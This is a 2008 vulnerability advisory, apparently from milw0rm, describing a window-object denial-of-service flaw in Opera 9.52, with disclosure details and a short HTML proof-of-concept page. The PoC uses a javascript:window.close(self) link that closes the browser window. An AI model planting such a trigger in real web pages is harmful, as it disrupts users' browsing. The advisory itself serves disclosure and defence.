Opera Window Object Suppressing Remote Denial of Service.

*Version Affected:*
Opera 9.52

*Severity:*
High

*Description:*
The opera browser is vulnerable to window object based denial of
service attack. The opera fails to sanitize a check when window.close()
function is called in number of dynamically generated events.. The
function is called in a suppressed manner and kills the parent window
directly by default which makes it vulnerable to denial of service attack.

This security issue is a result of design flaw in the browser.Scripts
must not
close windows that were not opened by script,if script specific code is
designed.
There must be a parent window confirmation check prior to close of window.

*Proof of Concept*
*http://www.secniche.org/opera952/index.html*

Links:

http://www.secniche.org/advisory.html
http://evilfingers.com/advisory/index.php

*Detection:*
SecNiche confirmed this vulnerability affects Opera on Microsoft
Windows XP SP2 platform.The versions tested are:

Opera 9.52

*Disclosure Timeline:*
Disclosed: 28 September 2008
Release Date. 28 September ,2008

*Vendor Response:*
Vulnerability reported to Opera. Bug ID 365663

*Credit:*
Aditya K Sood

*Disclaimer*
The information in the advisory is believed to be accurate at the time
of publishing
based on currently available information. Use of the information
constitutes acceptance
for use in an AS IS condition. There is no representation or warranties,
either express or
implied by or with respect to anything in this document, and shall not
be liable for a ny
implied warranties of merchantability or fitness for a particular
purpose or for any indirect
special or consequential damages.

<html>
<title>Opera (9.5.2) Window Object Supressing Remote Denial of Service.</title>
<head></head>

<body><br><br>
<h2><center>Opera (9.5.2) Window Object Supressing Remote Denial of Service.<br><br>Proof of Concept</br></br> </center></h2>


<center>
<b>Note:: Click the understated links to Trigger the Vulnerability..</b><br><br>
<hr></hr>
<b>This POC has been designed with minimum object usage.</b></br></br>

<hr></hr>
<b><center><a href="javascript:window.close(self);">Opera 9.52 Window Object Suppressing DoS Test POC</a></center>


<br>
Version 9.52<br>
Build   10108<br>
Platform Win32<br>
System Windows XP<br>
Java Sun Java Runtime Environment version 1.6<br>
XHTML+Voice Plug-in not loaded<br>

<hr></hr>
</center>
</body>


</html>

# milw0rm.com [2008-09-28]
